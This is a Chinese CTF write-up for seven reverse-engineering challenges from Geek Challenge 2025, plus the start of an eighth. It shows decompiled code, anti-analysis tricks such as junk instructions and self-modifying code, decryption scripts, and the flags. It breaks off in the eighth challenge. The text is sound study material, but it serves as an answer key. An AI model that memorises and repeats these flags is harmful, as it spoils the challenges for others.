Featured image of post 2025geekchallenge Wp

2025geekchallenge Wp

re

1.encode

  • 该题如果理解的题目的意思本身没什么难度,主要是运用了心理学原理藏起来加密函数,该题的scanf函数是题者写的,所以scanf藏了一个enc函数(可知为一个TEA加密)

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    
    __int64 __fastcall enc(__int64 a1, int a2, __int64 a3)
    {
      int v4; // [xsp+10h] [xbp-140h]
      int v5; // [xsp+14h] [xbp-13Ch]
      int m; // [xsp+18h] [xbp-138h]
      int i; // [xsp+1Ch] [xbp-134h]
      int j; // [xsp+1Ch] [xbp-134h]
      int k; // [xsp+1Ch] [xbp-134h]
      _BYTE v11[256]; // [xsp+38h] [xbp-118h]
    
      v5 = 8 - a2 % 8;
      v4 = a2 + v5;
      for ( i = 0; i < a2; ++i )
        v11[i] = *(_BYTE *)(a1 + i);
      for ( j = a2; j < v4; ++j )
        v11[j] = v5;
      for ( k = 0; k < v4; k += 8 )
      {
        for ( m = 0; m < 8; ++m )
          *(_BYTE *)(a3 + k + m) = v11[k + m];
        enc_block(a3 + k, (__int64)&a);
      }
      return (unsigned int)v4;
    }
    
  • main函数中还有一个异或和bsae64,简单查找可得密文和映射表

  • 解密可得SYC{St4nd4rd_Funct10n_N0t_4lw4ys_St4nd4rd}

2.ez_pyyy

  • 下载附件发现获得了.pyc文件

  • 找一个在线反编译网站,反编译获得py代码

  •  1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    
    cipher = [
        48,55,57,50,53,55,53,50,52,50,48,55,101,52,53,50,52,50,
        52,50,48,55,53,55,55,55,50,54,53,55,54,55,55,55,53,54,
        98,55,97,54,50,53,56,52,50,52,99,54,50,50,52,50,50,54]
    
    def str_to_hex_bytes(s = None):
        return s.encode('utf-8')
    
    
    def enc(data = None, key = None):
        return None((lambda .0 = None: [ b ^ key for b in .0 ])(data))
    
    
    def en3(b = None):
        return b << 4 & 240 | b >> 4 & 15
    
    
    def en33(data = None, n = None):
        '''整体 bitstream 循环左移 n 位'''
        bit_len = len(data) * 8
        n = n % bit_len
        val = int.from_bytes(data, 'big')
        val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
        return val.to_bytes(len(data), 'big')
    
    if __name__ == '__main__':
        flag = ''
        data = str_to_hex_bytes(flag)
        data = enc(data, 17)
        data = bytes((lambda .0: [ en3(b) for b in .0 ])(data))
        data = data[::-1]
        data = en33(data, 32)
        if data.hex() == cipher:
            print('Correct! ')
        else:
            print('Wrong!!!!!!!!')
    
  • 该代码虽然无法编译但是可以看的出是如何加密的,然后再根据加密过程反推出解密过程

  •  1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    
    def en3(b):
        return (b << 4 & 240) | (b >> 4 & 15)
    
    def de33(data, n):
        bit_len = len(data) * 8
        if bit_len == 0:
            return b""
        n = n % bit_len
        val = int.from_bytes(data, 'big')
        val = (val >> n | val << (bit_len - n)) & ((1 << bit_len) - 1)
        return val.to_bytes(len(data), 'big')
    
    cipher = [
        48,55,57,50,53,55,53,50,52,50,48,55,101,52,53,50,52,50,52,50,
        48,55,53,55,55,55,50,54,53,55,54,55,55,55,53,54,98,55,97,54,
        50,53,56,52,50,52,99,54,50,50,52,50,50,54
    ]
    
    # Step 1: 转为 hex 字符串
    hex_str = ''.join(chr(x) for x in cipher)
    print("Expected hex:", hex_str)
    
    # Step 2: 解析为二进制数据(en33 输出)
    enc_data = bytes.fromhex(hex_str)
    
    # Step 3: 逆向 en33(data, 32)
    reversed_bytes = de33(enc_data, 32)
    
    # Step 4: 逆向 [::-1]
    after_swap_nibble = reversed_bytes[::-1]
    
    # Step 5: 逆向 en3 (nibble swap)
    after_xor = bytes(en3(b) for b in after_swap_nibble)
    
    # Step 6: 逆向 XOR 17
    flag_bytes = bytes(b ^ 17 for b in after_xor)
    
    # Step 7: 输出 flag
    flag = flag_bytes.decode('utf-8')
    print(flag)
    
  • 得到flag:SYC{jtfgdsfda554_a54d8as53}

3.only_flower

  • 打开ida发现 JUMPOUT(0x401620);

  • 进一步查看发现,该处存在 jmp short near ptr loc_40161F+1一条花指令,因为这个+1个字节是跳转到了指令中间,没有正确的跳转到一个指令的开始,会导致反编译出错

  • 解决办法,将该指令的第一个字节改为90,即将该指令改为nop

  • 对于该题目,可以选择直接不看主函数,赌加密过程全在一个函数里面(正常来说对于主函数也要修复)

  • 查看string表,发现除了输出的提示,剩下一个GEEK2025的可疑字符串,双击查看,在交叉引用,发现.data:00404004 _KEY dd offset aGeek2025 ; DATA XREF: _encrypt+6↑r得到再字符串存在KEY数组内,在对KEY使用交叉引用,发现再一个encrypt使用了,合理猜测该函数就为加密函数了。进入发现

1
2
3
4
5
6
void __cdecl encrypt(const uint8_t *in, uint8_t *out, size_t len)
{
  strlen(KEY);
  if ( len )
    JUMPOUT(0x4014C8);
}

从这里可以发现通过该种发现找到加密函数属于特例,因为刚好再ida可以编译的范围内使用过KEY,如果出题者有意则可以让做题人无法通过该种方法找到加密函数。在通过交叉引用查找函数时,可以发现在GEEK2025下方还有一个数组

1
2
3
.rdata:00405070 _CIPHER         db 0Ah, 84h, 0C2h, 84h, 51h, 48h, 5Fh, 0F2h, 9Eh, 8Dh
.rdata:0040507A                 db 0D0h, 84h, 75h, 67h, 73h, 8Fh, 0CAh, 57h, 0D7h, 0E6h
.rdata:00405084                 db 14h, 6Eh, 77h, 0E2h, 29h, 0FEh, 0DFh, 0CCh

可猜测大概率该数组存放的时密文,对该数组使用交叉引用则无法找到加密函数

  • 修复加密函数:这里可以将所以花指令改为nop,就可以完成该函数的修复,得到
1
2
3
4
5
6
7
8
9
void __cdecl encrypt(const uint8_t *in, uint8_t *out, size_t len)
{
  size_t klen; // [esp+18h] [ebp-10h]
  size_t i; // [esp+1Ch] [ebp-Ch]

  klen = strlen(KEY);
  for ( i = 0; i < len; ++i )
    out[i] = i + rol8(KEY[i % klen] ^ in[i], KEY[i % klen] & 7);
}

得到加密函数之后,就可以写出解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdint.h>
#include <stdio.h>
#include <string.h>

// 循环右移8位
uint8_t ror8(uint8_t value, uint8_t shift) {
    shift &= 7;  // 确保移位在0-7范围内
    return (value >> shift) | (value << (8 - shift));
}

void decrypt(const uint8_t *out, uint8_t *in, size_t len, const char *KEY) {
    size_t key_len = strlen(KEY);
    
    for (size_t i = 0; i < len; ++i) {
        // 步骤1: 逆向索引加法
        uint8_t temp1 = out[i] - i;
        
        // 步骤2: 逆向循环左移 (使用循环右移)
        uint8_t shift_amount = KEY[i % key_len] & 7;
        uint8_t temp2 = ror8(temp1, shift_amount);
        
        // 步骤3: 逆向异或
        in[i] = temp2 ^ KEY[i % key_len];
    }
}

int main() {
    // 密文数据
    uint8_t CIPHER[] = {
        0x0A, 0x84, 0xC2, 0x84, 0x51, 0x48, 0x5F, 0xF2, 0x9E, 0x8D,
        0xD0, 0x84, 0x75, 0x67, 0x73, 0x8F, 0xCA, 0x57, 0xD7, 0xE6,
        0x14, 0x6E, 0x77, 0xE2, 0x29, 0xFE, 0xDF, 0xCC
    };
    size_t CIPHER_LEN = 28;
    
    // 密钥(需要根据实际情况修改)
    const char *KEY = "GEEK2025";
    
    // 存储解密结果
    uint8_t decrypted[CIPHER_LEN + 1];  // +1 用于字符串结束符
    memset(decrypted, 0, sizeof(decrypted));
    
    // 解密
    decrypt(CIPHER, decrypted, CIPHER_LEN, KEY);
    
    // 输出结果
    printf("Decrypted data (hex): ");
    for (size_t i = 0; i < CIPHER_LEN; ++i) {
        printf("%02X ", decrypted[i]);
    }
    printf("\n");
    
    printf("Decrypted text: ");
    for (size_t i = 0; i < CIPHER_LEN; ++i) {
        printf("%c", (char)decrypted[i]);
    }
    printf("\n");
    
    return 0;
}
  • 运行得到结果SYC{asdjjasdhjk12wk12ijkejk}
  • 附修完之后的main函数
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int main()
{
  char Buffer[264]; // [esp+14h] [ebp-10Ch] BYREF
  size_t v2; // [esp+11Ch] [ebp-4h]

  __main();
  printf("Welcome to Flowerdance. Input your flag: ");
  if ( !fgets(Buffer, 256, (FILE *)__iob[0]._ptr) )
    return 0;
  v2 = strlen(Buffer);
  if ( v2 && Buffer[v2 - 1] == 10 )
    Buffer[--v2] = 0;
  if ( checkcheck(Buffer) )
  {
    *(_DWORD *)&Buffer[260] = strlen(Buffer);
    if ( *(_DWORD *)&Buffer[260] == 28 )
    {
      *(_DWORD *)&Buffer[256] = malloc(0x1Cu);
      if ( *(_DWORD *)&Buffer[256] )
      {
        encrypt((const uint8_t *)Buffer, *(uint8_t **)&Buffer[256], *(size_t *)&Buffer[260]);
        if ( !memcmp(*(const void **)&Buffer[256], CIPHER, *(size_t *)&Buffer[260]) )
        {
          puts("Correct! Flowerdance!");
        }
        else
        {
          puts("Incorrect. Keep dancing.");
          hint();
        }
        free(*(void **)&Buffer[256]);
        return 0;
      }
      else
      {
        return 0;
      }
    }
    else
    {
      printf("Wrong length (expected %lu bytes including braces).\n", 28);
      hint();
      return 0;
    }
  }
  else
  {
    puts("Bad format..");
    hint();
    return 0;
  }
}

4.ezRu3t

  • 一直观察并结合string表中的两个映射表可知,有一个base64,一个base85,再看顺序是先64在85,并无其他加密所以直接解密可得

  • 64表:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 85表:!"#$%&’()*+,-./0123456789<=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstu

    密文:<AA;XAM?,_@;T[r@7E779h8;s>’`pt=>3c6ASuHFASOtP<Gkf_A4&gPAl1]S

  • base85解密

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    
    import struct
    import re  # 添加导入
    
    def base85_decode(encoded_str, custom_table=None):
        """简化的Base85解密函数"""
        if custom_table is None:
            custom_table = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstu"
    
        # 创建字符到索引的映射
        char_map = {char: i for i, char in enumerate(custom_table)}
    
        # 清理输入字符串
        encoded_str = re.sub(r'\s+', '', encoded_str)
        if encoded_str.startswith('<~') and encoded_str.endswith('~>'):
            encoded_str = encoded_str[2:-2]
    
        # 处理解码
        result = bytearray()
        n = 0
        count = 0
    
        for char in encoded_str:
            if char == 'z' and count == 0:
                result.extend([0, 0, 0, 0])
                continue
    
            n = n * 85 + char_map[char]
            count += 1
    
            if count == 5:
                result.extend(struct.pack('>I', n))
                n = 0
                count = 0
    
        # 处理最后的块
        if count > 0:
            n *= 85 ** (5 - count)
            result.extend(struct.pack('>I', n)[:count-1])
    
        return bytes(result).decode('utf-8', errors='ignore')
    
    # 使用
    encoded_text = "<AA;XAM?,_@;T[r@7E779h8;s>'`pt=>3c6ASuHFASOtP<Gkf_A4&gPAl1]S"  # 替换为实际字符串
    decoded_text = base85_decode(encoded_text)
    print(decoded_text)
    
    #结果U1lDe09oamhoaF95MHVfZzN0X0V6enp6ejNfUnUzdCFAfQ==
    
  • 符合base64的格式在解密可得SYC{Ohjhhh_y0u_g3t_Ezzzzz3_Ru3t!@}

5.ezSMC

  • 前置知识CTF中SMC

简要来说就是一段正常的代码,通过加密过程,使程序变得混乱,从而让IDA等反编译工具无法识别 (广义上可以理解为程序保护壳吧) 一般常见的为异或加密 同时一般伴随着SMC出现的还有 VirtualProtect VirtualProtect 是 Windows 操作系统中的一个 API 函数,它允许应用程序改变一个内存页的保护属性。这个函数的原型如下:

1
2
3
4
5
6
BOOL VirtualProtect(
  LPCVOID lpAddress,  // 要改变保护属性的内存页的起始地址
  SIZE_T dwSize,      // 内存页的大小
  DWORD flNewProtect, // 新的保护属性
  PDWORD lpflOldProtect // 存储旧的保护属性
);

逆向分析中,VirtualProtect 函数通常用于代码自加密的场景。代码自加密是一种保护代码不被轻易逆向分析的技术,通过在程序运行时动态地修改代码的内存保护属性,使得代码在执行时可以被修改和执行,但在不执行时则不能被读取或修改

  • 打开ida观察main函数
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 Str2 = "tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7";   //猜测可能是密文
  printf("Plz input your flag miao: ");
  v3 = __acrt_iob_func(0);
  fgets(Buffer, 1024, v3);//输入
  Buffer[strcspn(Buffer, "\r\n")] = 0;
  hex = (char *)ascii_to_hexbytes(Buffer, &outlen);//这个函数把输入的 ASCII 字符串 s 的每个字节转换为两个大写十六进制 ASCII 字符
  data = hexstr_to_bytes(hex, &len);//这个函数把一个十六进制字符字符串(如 "4869")每两个字符解析为一个字节
  key = 17;
  init(&ctx, &key, 1);//进去观察可知,该函数根据key初始化了一个rc4的s表
  encode(&ctx, data, len);//进入函数发现,该函数是简单的异或机密,密文是刚才初始化的s表
  Str = bytes_to_hexstr(data, len);
  miao_encrypt();//内存加密函数
  v4 = strlen(Str);
  v13 = (uint8_t *)encodee((const uint8_t *)Str, v4);//进入函数发现,存在无法编译的情况,需要解决
  if ( v13 )
  {
    v6 = strlen((const char *)v13);
    Str1 = enc0de(v13, v6);//进入查看,为base58加密,顺手查看映射表
    //ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789
    if ( !strcmp(Str1, Str2) )
      puts("Correct!");
    else
      puts("Wrong!");
    free(hex);
    free(data);
    free(Str);
    free(v13);
    free(Str1);
    return 0;
  }
  else
  {
    puts("encodee returned NULL");
    return 0;
  }
}
  • 下一步只需要通过动态调试解密出正确的加密函数即可得到加密过程
  • 只需在代码加密函数运行之后下个断点,再查看encodee发现内容出现了变化

未解密代码

1
2
3
4
5
6
7
8
          db  8Eh
.miao:00000000004A2013                 db  4Bh ; K
.miao:00000000004A2014                 db    1
.miao:00000000004A2015                 db 0B9h
.miao:00000000004A2016                 db  55h ; U
.miao:00000000004A2017                 db  56h ; V
.miao:00000000004A2018                 db  56h ; V
.miao:00000000004A2019                 db  56h ; V

解密后代码

1
2
3
4
5
6
7
8
db  8Dh
.miao:00000000004A2013 db  48h ; H
.miao:00000000004A2014 db    2
.miao:00000000004A2015 db 0BAh
.miao:00000000004A2016 db  56h ; V
.miao:00000000004A2017 db  55h ; U
.miao:00000000004A2018 db  55h ; U
.miao:00000000004A2019 db  55h ; U

修复之后的encodee

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
char *__cdecl encodee(const uint8_t *buf, int len)
{
  int v3; // eax
  char v4; // al
  int v5; // edx
  char v6; // al
  int v7; // edx
  char *v8; // [rsp+28h] [rbp-18h]
  unsigned int v9; // [rsp+34h] [rbp-Ch]
  int i; // [rsp+38h] [rbp-8h]
  int v11; // [rsp+3Ch] [rbp-4h]
  int v12; // [rsp+3Ch] [rbp-4h]
  int v13; // [rsp+3Ch] [rbp-4h]

  v8 = (char *)malloc(4 * ((len + 2) / 3) + 1);
  if ( !v8 )
    return 0LL;
  v11 = 0;
  for ( i = 0; i < len; i += 3 )
  {
    v9 = buf[i] << 16;
    if ( len > i + 1 )
      v9 |= buf[i + 1] << 8;
    if ( len > i + 2 )
      v9 |= buf[i + 2];
    v8[v11] = encodee(unsigned char const*,int)::base64_table[(v9 >> 18) & 0x3F];
    v3 = v11 + 1;
    v12 = v11 + 2;
    v8[v3] = encodee(unsigned char const*,int)::base64_table[(v9 >> 12) & 0x3F];
    if ( len <= i + 1 )
      v4 = 61;
    else
      v4 = encodee(unsigned char const*,int)::base64_table[(v9 >> 6) & 0x3F];
    v5 = v12;
    v13 = v12 + 1;
    v8[v5] = v4;
    if ( len <= i + 2 )
      v6 = 61;
    else
      v6 = encodee(unsigned char const*,int)::base64_table[v9 & 0x3F];
    v7 = v13;
    v11 = v13 + 1;
    v8[v7] = v6;
  }
  v8[v11] = 0;
  return v8;
}

可知是一个base64加密

  • 加密过程input—>与s表异或—->bsae64加密—–>base58加密

  • 解密过程密文—>base58解密—->base64解密—->与s表异或

  • bae58解密

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    
    import base58  # 这个库默认用标准表,所以我们要自定义映射
    
    # 你的自定义 Base58 字母表
    CUSTOM_B58 = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789"
    
    # 标准 Base58 字母表(base58.b58decode 用的)
    STANDARD_B58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
    
    # 编码后的字符串
    encoded = "tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7"
    
    # 将自定义表的字符映射到标准表
    # 方法:构建一个从 自定义字符 -> 标准字符 的映射
    trans = str.maketrans(CUSTOM_B58, STANDARD_B58)
    encoded_std = encoded.translate(trans)
    
    # 用标准库解码
    decoded_bytes = base58.b58decode(encoded_std)
    
    # 输出十六进制和尝试转为字符串
    print("解码后的字节 (hex):", decoded_bytes.hex())
    
    # 尝试转为 ASCII 字符串(如果是文本的话)
    try:
        text = decoded_bytes.decode('utf-8')
        print("解码后的字符串:", text)
    except:
        print("不是有效的 UTF-8 文本")
    
    #由运行结果可得#ZGZkMjRjNmMzM2JlZWUyYjQ5MzI5ZTYxMTg2MDEyYjA1ZGExNTQyZGQzZjA5ZmIwZTlhZWQzMzBjOD#c0NzdjYw==
    
  • base64解密

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    import base64 
    print("编码 1 解码 2")
    x=int(input())
    if x==1:
        s=input()
        print((base64.b64encode(s.encode('utf-8'))).decode('utf-8'))
    else:
        s=input()
        print((base64.b64decode(s.encode('utf-8'))).decode('utf-8'))
    
      #解密可得dfd24c6c33beee2b49329e61186012b05da1542dd3f09fb0e9aed330c87477cc
    
  • 算s表,异或解密

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    
    def rc4_decrypt(data, key):
        """
        RC4 解密函数
        data: 要解密的数据(bytes)
        key: 密钥(bytes)
        返回: 解密后的数据(bytes)
        """
        # RC4 KSA (Key Scheduling Algorithm)
        S = list(range(256))
        j = 0
        key_length = len(key)
        for i in range(256):
            j = (j + S[i] + key[i % key_length]) % 256
            S[i], S[j] = S[j], S[i]
    
        # RC4 PRGA (Pseudo-Random Generation Algorithm) + 解密
        i = j = 0
        result = bytearray()
        for byte in data:
            i = (i + 1) % 256
            j = (j + S[i]) % 256
            S[i], S[j] = S[j], S[i]
            k = S[(S[i] + S[j]) % 256]
            result.append(byte ^ k)
    
        return bytes(result)
    
    # 使用示例
    if __name__ == "__main__":
        # 您的密文(32字节数据)
        ciphertext = bytes.fromhex("dfd24c6c33beee2b49329e61186012b05da1542dd3f09fb0e9aed330c87477cc")
    
        # 密钥
        key = bytes([17])  # 0x11
    
        # 解密
        decrypted = rc4_decrypt(ciphertext, key)
    
        print("解密结果 (hex):", decrypted.hex())
    
        # 尝试转换为字符串
        try:
            text = decrypted.decode('utf-8')
            print("解密结果 (文本):", text)
        except:
            print("不是有效的UTF-8文本")
            print("原始字节:", decrypted)
    
  • 运行得到flag:SYC{OHhhhhhhh_y0u_Kn0m_SMCCCC@!}

6.QYQSの奇妙冒险

  • 将文件拖入ida中,找到main函数可以看到加密过程为
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 if ( j_strlen_0(input) == 21 )
  {
    for ( i = 0; ; ++i )
    {
      v11 = i;
      v3 = j_strlen_0(input);
      if ( v11 >= v3 )
        break;
      input[i] ^= i;
      v11 = i;
      input[i] ^= key[i % 4];
    }
    for ( k = 0; ; ++k )
    {
      v11 = k;
      v4 = j_strlen_0(input);
      if ( v11 >= v4 )
        break;
      if ( input[k] != QYQS[k] )
        goto LABEL_5;
    }
  • 可知input先异或i,再与key数组异或
  • 所以解密过程为QYQS这个密文,先异或key再异或i,解密脚本如下
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdio.h>
int main()
{
	char key[5]={"QYQS"};
	char QYQS[22];
	  QYQS[0] = 2;
  QYQS[1] = 1;
  QYQS[2] = 16;
  QYQS[3] = 43;
  QYQS[4] = 28;
  QYQS[5] = 3;
  QYQS[6] = 23;
  QYQS[7] = 57;
  QYQS[8] = 6;
  QYQS[9] = 1;
  QYQS[10] = 34;
  QYQS[11] = 41;
  QYQS[12] = 14;
  QYQS[13] = 11;
  QYQS[14] = 45;
  QYQS[15] = 109;
  QYQS[16] = 6;
  QYQS[17] = 32;
  QYQS[18] = 23;
  QYQS[19] = 127;
  QYQS[20] = 56;
  	for(int i=0;i<21;i++)
  	{
  		QYQS[i]^=key[i%4];
  		QYQS[i]^=i;
  		printf("%c",QYQS[i]);
	}

	return 0;
}
  • 运行可得:SYC{I_@m_QyqS_r1GhT?}

7.Gensh1n

这题的主要程序其实事在cleanup()函数中,而不是正常的main函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
unsigned __int64 cleanup()
{
  int v1; // [rsp+8h] [rbp-238h]
  int i; // [rsp+Ch] [rbp-234h]
  int v3; // [rsp+10h] [rbp-230h]
  int j; // [rsp+14h] [rbp-22Ch]
  int v5; // [rsp+20h] [rbp-220h]
  int v6; // [rsp+24h] [rbp-21Ch]
  char v7[8]; // [rsp+28h] [rbp-218h] BYREF
  char s[256]; // [rsp+30h] [rbp-210h] BYREF
  char dest[264]; // [rsp+130h] [rbp-110h] BYREF
  unsigned __int64 v10; // [rsp+238h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  fflush(_bss_start);
  if ( !fgets(s, 256, stdin) )
    exit(1);
  v1 = strlen(s);
  if ( v1 > 0 && s[v1 - 1] == 10 )
    s[--v1] = 0;
  if ( !(unsigned int)validate_input_length((unsigned int)v1) )
    exit(1);
  for ( i = 0; i <= 7; ++i )
    v7[i] = global_nodes[16 * i];
  if ( !(unsigned int)validate_key(v7, 8LL) )
    exit(1);
  strncpy(dest, s, v1);
  dest[v1] = 0;
  compute_checksum(dest, (unsigned int)v1);
  stack_push(dest);
  stack_push(v1);
  stack_push(v7);
  stack_push(8LL);
  stack_push(sub_44656);   
  stack_push(0LL);
  stack_push(4LL);
  reverse_call();
  if ( v1 != 28 )
    exit(1);
  v3 = 1;
  for ( j = 0; j < 28; ++j )
  {
    if ( dest[j] != result[j] )  //比较,故result是密文
    {
      v3 = 0;
      break;
    }
  }
  v5 = calculate_crc32(dest, 28LL);
  v6 = calculate_crc32(result, 28LL);
  if ( !v3 || v5 != v6 )
  {
    secure_memset((__int64)dest, 0, 0x100uLL);
    secure_memset((__int64)v7, 0, 8uLL);
    exit(1);
  }
  puts("Great!");
  secure_memset((__int64)dest, 0, 0x100uLL);
  secure_memset((__int64)v7, 0, 8uLL);
  return v10 - __readfsqword(0x28u);
}

观察程序可知,有一步将sub_44656压栈观察这个函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
unsigned __int64 __fastcall sub_44656(__int64 a1, int a2, __int64 a3, int a4)
{
  int i; // [rsp+20h] [rbp-220h]
  int j; // [rsp+20h] [rbp-220h]
  int v7; // [rsp+20h] [rbp-220h]
  int v8; // [rsp+24h] [rbp-21Ch]
  int v9; // [rsp+24h] [rbp-21Ch]
  int k; // [rsp+28h] [rbp-218h]
  char v11; // [rsp+2Ch] [rbp-214h]
  char v12; // [rsp+2Ch] [rbp-214h]
  _BYTE v13[520]; // [rsp+30h] [rbp-210h]
  unsigned __int64 v14; // [rsp+238h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  v8 = 0;
  for ( i = 0; i <= 255; ++i )
  {
    v13[i] = i;
    v13[i + 256] = *(_BYTE *)(i % a4 + a3);
  }
  for ( j = 0; j <= 255; ++j )
  {
    v8 = ((unsigned __int8)v13[j + 256] + v8 + (unsigned __int8)v13[j]) % 256;
    v11 = v13[j];
    v13[j] = v13[v8];
    v13[v8] = v11;
  }
  v9 = 0;
  v7 = 0;
  for ( k = 0; k < a2; ++k )
  {
    v7 = (v7 + 1) % 256;
    v9 = (v9 + (unsigned __int8)v13[v7]) % 256;
    v12 = v13[v7];
    v13[v7] = v13[v9];
    v13[v9] = v12;
    *(_BYTE *)(k + a1) ^= v13[(unsigned __int8)(v13[v7] + v13[v9])];
  }
  return v14 - __readfsqword(0x28u);
}

可知和是一个标准rc4

所以提取密文并写出解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# RC4 加密和解密函数
def rc4(key, data):
    # 初始化 S 盒
    S = list(range(256))
    j = 0
    key_length = len(key)
    
    # 初始化 KSA(密钥调度算法)
    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]
    
    # PRGA(伪随机生成算法)
    i = 0
    j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        result.append(byte ^ k)
    
    return bytes(result)

# 密钥
key = b"geek2025"  # 与程序中的密钥一致

# 假设你知道加密后的 28 字符的密文
ciphertext = bytes([0x52, 0x59, 0x0F3, 0x8A, 0, 0x0F, 0x0E6, 0x56, 0x36, 0x0E5, 0x0F0,0x33, 0x40, 0x6E, 0x56, 0x81, 0x5A,
                     0x0E5, 0x6F, 0x87, 0x6F,0x9F,0x21, 0x0C9, 0x0A6, 0x0BB, 0x16, 0x51,])  # 假设密文,需用实际密文替换

# 解密
decrypted_data = rc4(key, ciphertext)
print("解密后的数据:", decrypted_data.decode("utf-8", errors="ignore"))

运行结果:解密后的数据: SYC{50_y0u_pl@y_Gensh1n_too}

8.Mission GhostSignal

这是一个misc和re融合的题目,给了一个压缩包,一个exe文件,大概率是通exe文件找到密码,在解压缩

先看main函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[32]; // [esp+1Ch] [ebp-20Ch] BYREF
  char v5[192]; // [esp+3Ch] [ebp-1ECh] BYREF
  char input[256]; // [esp+FCh] [ebp-12Ch] BYREF
  _BYTE v7[16]; // [esp+1FCh] [ebp-2Ch] BYREF
  int v8; // [esp+20Ch] [ebp-1Ch]
  int j; // [esp+210h] [ebp-18h]
  char v10; // [esp+217h] [ebp-11h]
  int i; // [esp+218h] [ebp-10h]
  size_t v12; // [esp+21Ch] [ebp-Ch]

  sub_403500();
  SetConsoleOutputCP(0xFDE9u);
  SetConsoleCP(0xFDE9u);
  qmemcpy(v7, "1145141145144332", sizeof(v7));
  puts(&Buffer);
  printf(&byte_407090);
  if ( fgets(input, 256, (FILE *)iob[0]._ptr) )
  {
    v12 = strlen(input);
    if ( v12 && input[v12 - 1] == 10 )
      input[--v12] = 0;                        
    if ( v12 == 25 )
    {
      sub_401C08(v5, aSyclover2025ge, v7);      
      memcpy(v4, input, 0x19u);                
      v8 = 7;
      for ( i = 25; i <= 31; ++i )       
        v4[i] = v8;
      sub_402B57(v5, v4, 32);
      v10 = 1;
      for ( j = 0; j <= 31; ++j )
      {
        if ( byte_406020[j] != v4[j] )
        {
          v10 = 0;
          break;
        }
      }
      if ( v10 )
        puts(&byte_4070F0);
      else
        puts(&byte_40711C);
      return 0;
    }
    else
    {
      puts(&byte_4070BC);
      return 1;
    }
  }
